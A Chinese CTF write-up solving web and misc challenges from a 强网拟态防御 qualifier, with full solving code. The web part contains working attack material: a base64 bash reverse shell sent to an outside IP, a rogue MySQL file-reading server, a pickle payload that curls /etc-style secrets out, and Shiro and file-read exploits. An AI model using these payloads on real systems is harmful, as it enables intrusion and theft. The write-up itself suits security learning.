4th 强网拟态防御 Quals

Web

zerocalc

计算器出现的第零天,爱他

根据题目的提示使用 readFile(‘./src/index.js’) 可以读出题目的 index.js 的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
const path = require("path");
const fs = require("fs");
const notevil = require("./notevil"); // patched something...
const crypto = require("crypto");
const cookieSession = require("cookie-session");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());
app.use(cookieSession({
name: 'session',
keys: [Math.random().toString(16)],
}));

//flag in root directory but name is randomized

const utils = {
async md5(s) {
return new Promise((resolve, reject) => {
resolve(crypto.createHash("md5").update(s).digest("hex"));
});
},
async readFile(n) {
return new Promise((resolve, reject) => {
fs.readFile(n, (err, data) => {
if (err) {
reject(err);
} else {
resolve(data);
}
});
});
},
}

const template = fs.readFileSync("./static/index.html").toString();

function render(s) {
return template.replace("{{res}}", s.join('<br/>'));
}

app.use("/", async (req, res) => {
const e = req.body.e;
const his = req.session.his || [];
if (e) {
try {

const ret = (await notevil(e, utils)).toString();
his.unshift(`${e} = ${ret}`);
if (his.length > 10) {
his.pop();
}
} catch (error) {
console.log(error);
his.add(`${e} = wrong?`);
}
req.session.his = his;
}

res.send(render(his));
});

app.use((err, res) => {
console.log(err);
res.redirect('/');
});

app.listen(process.env.PORT || 8888);

可以发现程序使用了 notevil 进行了计算,同时提示 flag 在根目录下但是文件名随机。进一步读取 package.json 可以得到如下结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"name": "name",
"version": "0.1.1",
"description": "Description",
"private": true,
"main": "src/index.js",
"scripts": {
"start:single": "node src/index.js",
"start": "pm2 start src/index.js -i 1"
},
"dependencies": {
"cookie-session": "^1.4.0",
"express": "^4.17.1",
"notevil": "^1.3.3",
"pm2": "^4.5.6"
},
"devDependencies": {
"@types/express": "^4.17.8",
"@types/node": "^14.10.1",
"prettier": "^2.0.5"
}
}

此时可以发现其使用的 notevil 版本为 1.3.3,这个版本不存在已知的 RCE 漏洞。因此回来莽一下,直接 readFile(‘/flag’) 读出了 flag。

1
flag{Hf4ulmUeLzShDRRfHdS4E8UhrlYbyMM6}

new_hospital

老大给了我一个网站,这个网站有漏洞,你能找到吗?

稍微尝试一下可以发现 /feature.php 下的 Cookie 有一个 API 的值为 base64 的 2.js,猜测是文件读取,尝试构造成 /etc/passwd 可以发现如下报错。

1
2
knowledge
Warning: file_get_contents(.js): failed to open stream: No such file or directory in /var/www/html/feature.php on line 468

可以发现他修改了 Cookie 内容。@Du1L0v3 稍微扫了一下可以发现存在一个 old 目录。

尝试访问一下 /old/feature.php 可以发现仍然是看起来差不多的页面,再次尝试这个漏洞,可以发现可以成功利用。当 Cookie 中的 API 为 L2V0Yy9wYXNzd2Q%3D 即 base64 编码再 urlencode 的 /etc/passwd 时可以得到如下内容,可以发现文件读取可以成功利用。

尝试构造读取 flag,可以用 ../flag.php 编码后,也就是Li4vZmxhZy5waHA%3D 作为 Cookie 中 API 的值即可包含出如下内容。

1
2
3
4
5
6
7
8
<?php

if(1!=2){
echo "hacker?";
}

$flag = 'flag{wI91wqE1yQ3599fU5RFv3V2L7e0kquMm}';
?>

因此可以得到 flag。

1
flag{wI91wqE1yQ3599fU5RFv3V2L7e0kquMm}

Jack-Shiro

一个简单的shiro

附件中给出了如下 pom.xml。可以发现其中使用了 3.2.1 的 commons-collections 和 shiro 以及 logback-core。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.5.22.RELEASE</version>
<relativePath/>
</parent>

<modelVersion>4.0.0</modelVersion>
<artifactId>ctf</artifactId>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<configuration>
<fork>true</fork>
<mainClass>com.ctf.Application</mainClass>
</configuration>
<executions>
<execution>
<goals>
<goal>repackage</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>

<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.5.1</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.5.1</version>
</dependency>
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-core</artifactId>
<version>1.2.1</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

</project>

尝试访问到 /login 后根据页面的提示定向到 /json,发现页面跳转回了 /login 且 URL 中加上了一个 jsessionid,因此想到了 shiro 的 CVE-2020-1957。尝试 /;/json 发现可以利用并成功到 /json。使用如下指令尝试使用一把梭 ysomap。

1
2
3
4
5
6
use exploit LDAPLocalChainListener
use payload CommonsCollections8
set lport 1389
set version 3
set args "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzNi44LjIxMC8zMjU1IDA+JjE=}|{base64,-d}|{bash,-i}"
run

运行 ysomap 之后向 /;/json 发送 POST 请求。

此时 ysomap 处即可回显利用,在事先监听的端口上可得 shell。

因此可以直接得到 flag。

1
flag{XZgw550JXoWU0EI1ATBsTtZFSOwyX1FM}

Give_me_your_0day

小宁同学不会安装博客,你来帮帮她吧

Typecho 会连接 MySQL,因此尝试使用 Rogue MySQL 一把梭。使用如下脚本搭建恶意 MySQL 服务端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }

$filename = "/flag";

$srv = stream_socket_server("tcp://0.0.0.0:10026");

while (true) {
echo "Enter filename to get [$filename] > ";
$newFilename = rtrim(fgets(STDIN), "\r\n");
if (!empty($newFilename)) {
$filename = $newFilename;
}

echo "[.] Waiting for connection on 0.0.0.0:3306\n";
$s = stream_socket_accept($srv, -1, $peer);
echo "[+] Connection from $peer - greet... ";
fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75
6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00
00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00
00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44
47 77 43 2a 43 56 63 72 00 '));
fread($s, 8192);
echo "auth ok... ";
fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00'));
fread($s, 8192);
echo "some shit ok... ";
fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00'));
fread($s, 8192);
echo "want file... ";
fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
stream_socket_shutdown($s, STREAM_SHUT_WR);
echo "\n";

echo "[+] $filename from $peer:\n";

$len = fread($s, 4);
if(!empty($len)) {
list (, $len) = unpack("V", $len);
$len &= 0xffffff;
while ($len > 0) {
$chunk = fread($s, $len);
$len -= strlen($chunk);
echo $chunk;
}
}

echo "\n\n";
fclose($s);
}

运行上述脚本,然后抓包将提交的数据中的数据库适配器改为 Mysqli,具体修改如下。

1
dbAdapter=Mysqli&dbHost=8.136.8.210&dbPort=10026&dbUser=root&dbPassword=root&dbDatabase=typecho&dbCharset=utf8&dbPrefix=typecho_&userUrl=http%3A%2F%2F121.36.229.59%3A32767&userName=admin&userPassword=&userMail=webmaster%40yourdomain.com&action=config

发送修改后的请求可以在恶意服务器中得到 flag。

1
flag{HpQYP8Z6wRgb2pPLwVOupVRM71zwkKOG}

ezPickle

一个简单的pickle反序列化

附件中给出的代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flask import Flask, request, session, render_template_string, url_for,redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from config import notadmin

app = Flask(__name__)

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))


def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def index():
info = request.args.get('name', '')
if info is not '':
x = base64.b64decode(info)
User = restricted_loads(x)
return render_template_string('Hello')


if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=5000)

可以发现此时存在一个 Pickle 反序列化的漏洞,同时在 config.py 中有如下内容。

1
2
3
4
5
6
notadmin={"admin":"no"}

def backdoor(cmd):
if notadmin["admin"]=="yes":
s=''.join(cmd)
eval(s)

因此首先需要修改 notadmin 的值,将 admin 的值改为 yes,然后调用到 backdoor 进行 RCE 以读取 flag。

https://xz.aliyun.com/t/8342

写出如下脚本来带出 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64
import httpx as requests
session = requests.Client(base_url="http://124.71.183.254:32770/", timeout=2)
data = b"""cconfig
notadmin
S"admin"
S"yes"
s0(S"__import__('os').system('curl http://8.136.8.210:3255/?flagIs-$(cat /flag | base64)')"
iconfig
backdoor
.
"""
session.get("/", params={
"name": base64.b64encode(data).decode()
})

运行上述脚本即可在监听端收到包含 flag 的请求。

1
flag{5tZhq4DRETNb77g0PfxNkzsmQizSI8jV}

Misc

WeirdPhoto

奇奇怪怪的图片?

使用 010 Editor 打开图片可以得到如下报错。

1
*ERROR: CRC Mismatch @ chunk[0]; in data: 9e916964; expected: ae28072d

使用脚本爆破一下 CRC 修复图片可以得到下图。

1
2
3
4
5
6
7
8
9
10
11
import binascii
import struct

crcbp = open("1.png", "rb").read()
for i in range(2000):
for j in range(2000):
data = crcbp[12:16] + struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
if(crc32 == 0x9E916964):
print(i, j)
print('hex:', hex(i), hex(j))

将图片中的信息提取出来,使用千千秀字的栅栏密码在线解密工具可以解出信息。

1
TIEWOFTHSAEOUIITNRBCOSHSTSAN

当每组字数设定为 4 时可以成功解码。

1
THISISTHEANSWERTOOBSFUCATION

将所得的信息作为压缩包密码解压 out.zip 可得 pdf 文档。将其文件头修复为 25 50 44 46 后观察其文件名,尝试使用工具 WbStego4.3 进行加密信息提取,使用空密码解密即可得到 flag 文件。

1
flag{th1s_ls_thE_f1n4l_F14g_y0u_want}

mirror

find the answer in the mirror

2-5 e-6 9-a p-b q-d

使用 010 Editor 打开附件中所给的图片,可以发现如下报错。

1
*ERROR: CRC Mismatch @ chunk[0]; in data: 099b2f6e; expected: 8963994a

进行爆破后修复图片高度为 0x505。在图片的尾部可以发现可疑字符,其中含有反写的 PNG 尾。

仔细观察可以发现这是一张完整的 PNG 图片被从尾部开始倒序逐行存储所得的二进制文件,将这部分提取出来,写一个脚本将其复原。

1
2
3
4
5
6
7
8
file = open("ext", "rb").read()

data = []
for x in range(0, len(file), 16):
data.append(file[x:x + 16])
data.reverse()
data = b"".join(data)
open("extrev.png", "wb").write(data)

然后将其高度修复为 0x505,即可得到两张看似一样的图。尝试使用基于 Python 实现的盲水印可得到如下图片。

将图片稍作处理后可读出如下信息。

1
32effq8aa8374a02a9p1636ae8901qa0

根据提示将部分字符转写,写出如下语句来实现。

1
2
3
import string
a = string.maketrans("2e9pq56abd", "56abd2e9pq")
"32effq8aa8374a02a9p1636ae8901qa0".translate(a)

即可得出正确的 flag。

1
flag{356ffd89983749059ab1e3e968a01d90}

bar

熟悉的bar

flag格式为flag{xxxxx}

1、观察得到字符串在code93在线网站生成的条形码停止字符的前两位字符 2、flag内容都是小写英文字母

使用 GIFSplitter 分离动图得到若干静态图片,可以观察到其中有灰色的块。

假定灰色的块为分隔符,黑色的块为 1 而白色的块为 0,可以将灰色块分割的部分划分成如下信息。

1
1010 111 100 0 11110 00011

将其看作以 1 为 -,以 0 为 . 的摩斯电码可得 CODE93 的提示,因此按照相关的标准写脚本将其数据区的数据读出,然后算出校验码。

https://www.activebarcode.com/codes/checkdigit/modulo47.html

http://www.appsbarcode.com/sc20130113/Code%2093.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from PIL import Image

data = ""
result = ""
chart = {"100010100": "0",
"101001000": "1",
"101000100": "2",
"101000010": "3",
"100101000": "4",
"100100100": "5",
"100100010": "6",
"101010000": "7",
"100010010": "8",
"100001010": "9",
"110101000": "A",
"110100100": "B",
"110100010": "C",
"110010100": "D",
"110010010": "E",
"110001010": "F",
"101101000": "G",
"101100100": "H",
"101100010": "I",
"100110100": "J",
"100011010": "K",
"101011000": "L",
"101001100": "M",
"101000110": "N",
"100101100": "O",
"100010110": "P",
"110110100": "Q",
"110110010": "R",
"110101100": "S",
"110100110": "T",
"110010110": "U",
"110011010": "V",
"101101100": "W",
"101100110": "X",
"100110110": "Y",
"100111010": "Z",
"100101110": "-",
"111010100": ".",
"111010010": " ",
"111001010": "$",
"101101110": "/",
"101110110": "+",
"110101110": "%",
"100100110": "$",
"111011010": "%",
"111010110": "/",
"100110010": "+",
"000000000": " ",
"101011110": "*"}
for x in range(27, 334):
data += "0" if Image.open(f"./d/IMG{x:05d}.bmp").getpixel((0, 0)) == (255, 255, 255) else "1"

for x in range(0, len(data) - 1, 9):
result += chart[data[x: x + 9]]
print(result)

checkIndex = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-. $/+%$%/+*"
result = result[1:-3]

loop = [i for i in range(1, 21)]
c = 0
for x in range(0, len(result)):
price = loop[(len(result) - x - 1) % 20]
c += checkIndex.index(result[x]) * price
print(f"*{c % 47}*")
print(f"*{checkIndex[c % 47]}*")

loop = [i for i in range(1, 16)]
k = 0
result += checkIndex[c % 47]
for x in range(0, len(result)):
price = loop[(len(result) - x - 1) % 15]
k += checkIndex.index(result[x]) * price
print(f"*{k % 47}*")
print(f"*{checkIndex[k % 47]}*")
result += checkIndex[k % 47]
print(f"*{result}*")

运行脚本可以得出结果为 F0C62DB973684DBDA896F9C5F6D962W<SPACE>,其中 W 和 <SPACE> 分别为校验码 C 和 K。根据提示可知需要小写的条码,因此用 f0c62db973684dbda896f9c5f6d962 重新生成条码。(这个地方出题人也许没读清楚条码规范,小写字母应该要前导控制码表示的。)

将其中的校验码读出如下。

1
110010110 101001100

对照码表可以读出 UM,转化为小写为 um,将其与原本的字符串拼接即可得到 flag。

1
flag{f0c62db973684dbda896f9c5f6d962um}

BlueWhale

好多流量!

使用 7-zip 解压附件时报出了警告错误,但是不影响解压。之后用 WireShark 对流量包进行分析,跟踪 TCP 流到 5 可以发现如下信息。

将密码 th1sIsThEpassw0rD 记下。在附件给出的加密压缩包中可以发现 password.txt 的 CRC 校验为 8CA352BA,同时其大小为 17,其压缩算法为 Deflate。尝试将上述得到的密码写入文本文档后采用相同算法压缩可以发现其 CRC 校验码跟加密压缩包中的 password.txt 的 CRC 校验码一致,因此尝试使用明文攻击。

使用 ARCHPR 进行明文攻击后可以保存包含加密压缩包中的图片的未加密压缩包,将图片解压后使用 zsteg 解隐写可以得到如下信息。

1
b1,rgb,lsb,xy .. text: "flag{F1nallY_y0uve_f0unD_1t}"

因此得出正确的 flag。

1
flag{F1nallY_y0uve_f0unD_1t}